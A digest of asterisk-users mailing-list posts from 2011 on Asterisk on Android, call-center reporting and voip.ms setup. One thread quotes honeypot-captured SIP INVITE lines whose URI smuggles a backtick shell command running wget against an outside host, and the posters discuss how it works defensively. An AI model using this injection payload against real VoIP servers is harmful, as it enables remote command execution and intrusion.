Re: [asterisk-users] Asterisk on Android?

2011-09-11 Thread Alec Taylor
My old phone could run Asterisk (as a PBX server).

Battery died pretty quickly though...

On Fri, Sep 9, 2011 at 9:03 PM, amit anand onewaytoconn...@gmail.com wrote:
 Hey can you share something on this

 On Thu, Sep 8, 2011 at 23:49, Cobra 2 cob...@linuxbasement.com wrote:

 I've chrooted debian onto a Motorola Droid running Cyanogenmod 7 and I've
 gotten asterisk to run on that just fine.

 On Sat, Sep 3, 2011 at 9:45 AM, Daniel Tryba dan...@tryba.nl wrote:

 On Sat, Sep 03, 2011 at 01:53:54PM +0200, Gilles wrote:
  Do you want to run the entire PBX on the Android client or are you
   just
  looking for a IAX programm to be installed for receiving calls?!
 
  The entire PBX so I can have an IVR in the phone.

 I don't think you can access the radio of the phone (RIL) at this
 moment. So if you want to use the GSM itself you are out of luck.

 --

   Daniel Tryba

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[asterisk-users] new sort of shell attack attempt via SIP?

2011-09-11 Thread Tom Browning
I haven't seen this sort of URI/shell attack prior to today but it
looks interesting.  Embedding a backtick in the URI with a wget that
doesn't seem to do much to an empty file.

I'm guessing it is just a probe to see if they can send further
embedded backtick shell commands to my Asterisk instance (by watching
their weblogs @ 91.223.89.94)

(This happens to be my honeypot that just accepts all calls and
dumps them into one big Asterisk 10 beta ConfBridge :-)


INVITE 
sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x
SIP/2.0.
INVITE 
sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x
SIP/2.0.
INVITE 
sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x
SIP/2.0.
INVITE 
sip:011123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x
SIP/2.0.
INVITE 
sip:011123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x
SIP/2.0.
INVITE 
sip:011123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x
SIP/2.0.


Does Asterisk have shell injection weakness?  Or perhaps this targets
some other Asterisk config manager that is subject to injection via
URI?

Tom

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Re: [asterisk-users] Reporting for Asterisk Call Center

2011-09-11 Thread Tarek Sawah

if you provide what kind of reporting you need it would be easier to point a 
few pointers?
either you can build it yourself.. or try the Call Center module from Elastix.. 
can be a good tool 



Tarek Sawah

Information Technology  Adviser

Integrated Digital Systems

CCNP, MCSE, RHCE, TELECOM

USA: +1 386 492 9993



 Date: Sat, 10 Sep 2011 10:28:00 +0300
 From: tzafrir.co...@xorcom.com
 To: asterisk-users@lists.digium.com
 Subject: Re: [asterisk-users] Reporting for Asterisk Call Center
 
 On Fri, Sep 09, 2011 at 01:28:28PM -0500, Gerardo Barajas wrote:
  There are a lot of reporting tools.
  I have used:
  
  Asternic: http://www.asternic.biz/
  QueueMetrics: http://queuemetrics.com/index.jsp
 
 Non of those are Free (Open Source).
 
 -- 
Tzafrir Cohen
 icq#16849755  jabber:tzafrir.co...@xorcom.com
 +972-50-7952406   mailto:tzafrir.co...@xorcom.com
 http://www.xorcom.com  iax:gu...@local.xorcom.com/tzafrir
 
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Re: [asterisk-users] new sort of shell attack attempt via SIP?

2011-09-11 Thread Alex Balashov

On 09/11/2011 07:05 PM, Tom Browning wrote:


INVITE 
sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x
SIP/2.0.


My guess is that this attack presumes you are running a web GUI such 
as FreePBX, and that it does not sanitise embedded HTML.  Thus, when 
reviewing your CDRs, for instance, you might click on such a link.


A more sophisticated variant of that would embed script tags and a 
with a shortened URL (overall small enough to fit inside a SIP display 
name field or whatnot) to effectuate a cross-site scripting attack.


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Evariste Systems LLC
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Suite 2200
Atlanta, GA 30303
Tel: +1-678-954-0670
Fax: +1-404-961-1892
Web: http://www.evaristesys.com/

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Re: [asterisk-users] new sort of shell attack attempt via SIP?

2011-09-11 Thread Tom Browning
I disagree with the 'review CDR' angle for a number of reasons:

a) there is a backtick in the URI trying to force shell and the proper
wget command line to send results to /dev/null
b) the V.php (at the url) appears to do nothing at all and might just
be empty (for log scraping), url safety checks confirm
c) the invites were sprayed across my entire IP address range

To me, this is more like a scan for any SIP host that has shell
injection vulerability.  The list of vulnerable hosts is just a log
scrape away at the server 91.223.89.94



On Sun, Sep 11, 2011 at 7:20 PM, Alex Balashov
abalas...@evaristesys.com wrote:
 On 09/11/2011 07:05 PM, Tom Browning wrote:

 INVITE
 sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x
 SIP/2.0.

 My guess is that this attack presumes you are running a web GUI such as
 FreePBX, and that it does not sanitise embedded HTML.  Thus, when reviewing
 your CDRs, for instance, you might click on such a link.

 A more sophisticated variant of that would embed script tags and a with a
 shortened URL (overall small enough to fit inside a SIP display name field
 or whatnot) to effectuate a cross-site scripting attack.

 --
 Alex Balashov - Principal
 Evariste Systems LLC
 260 Peachtree Street NW
 Suite 2200
 Atlanta, GA 30303
 Tel: +1-678-954-0670
 Fax: +1-404-961-1892
 Web: http://www.evaristesys.com/

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Re: [asterisk-users] new sort of shell attack attempt via SIP?

2011-09-11 Thread Alex Balashov

On 09/11/2011 07:35 PM, Tom Browning wrote:

I disagree with the 'review CDR' angle for a number of reasons:

a) there is a backtick in the URI trying to force shell and the proper
wget command line to send results to /dev/null
b) the V.php (at the url) appears to do nothing at all and might just
be empty (for log scraping), url safety checks confirm
c) the invites were sprayed across my entire IP address range

To me, this is more like a scan for any SIP host that has shell
injection vulerability.  The list of vulnerable hosts is just a log
scrape away at the server 91.223.89.94


On second thought, your interpretation does make much more sense.  :-)


--
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Evariste Systems LLC
260 Peachtree Street NW
Suite 2200
Atlanta, GA 30303
Tel: +1-678-954-0670
Fax: +1-404-961-1892
Web: http://www.evaristesys.com/

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Re: [asterisk-users] Question about voip.ms service.

2011-09-11 Thread naren
Hi,

I am trying to set up my asterisk 1.8.5 with voip.ms. I had no problem with
the incoming, but my outgoing is not working. If at all possible, I would
like to stick with SIP. Since the original poster (Glen) had mentioned that
he had gotten outgoing working, I was wondering if you would be kind enough
to post some thoughts on that. Were you able to get it working with just the
default example sip.conf / extensions.conf settings that they have on their
website?

I have pretty much the same settings. When I dial out, the destination
rings, but I can't hear a ringback tone from on the source side ( I am using
a PAP2T router with a phone). I have set up outgoing with actionvoip before
and that is working fine, so I am thinking my router settings for my ports
are correct - but I am no expert.

I would really appreciate it if you could post the relevant section of your
sip.conf for me.

Thanks!
Naren


On Thu, Jun 9, 2011 at 3:22 PM, Steve Edwards asterisk@sedwards.comwrote:

 On Thu, 9 Jun 2011, John Novack wrote:

  I use voip.ms and have no issues using IAX and Asterisk 1.4.xx


 'slam-dunk.'


  Though they suggest SIP, I chose IAX and have 4569 UDP open in my firewall


 a

  Their on line config samples just work!


 is


  Suggest you check your firewall and your configs, and above all post some
 more information


 IAX


  If you really want to upset some, top post as I have just done!


 Agreed.


  The real issue is communication, top bottom or in the middle


 Sometimes, it's just about being considerate to 'the next guy.'

 --
 Thanks in advance,
 --**--**
 -
 Steve Edwards   sedwa...@sedwards.com  Voice: +1-760-468-3867 PST
 Newline  Fax: +1-760-731-3000


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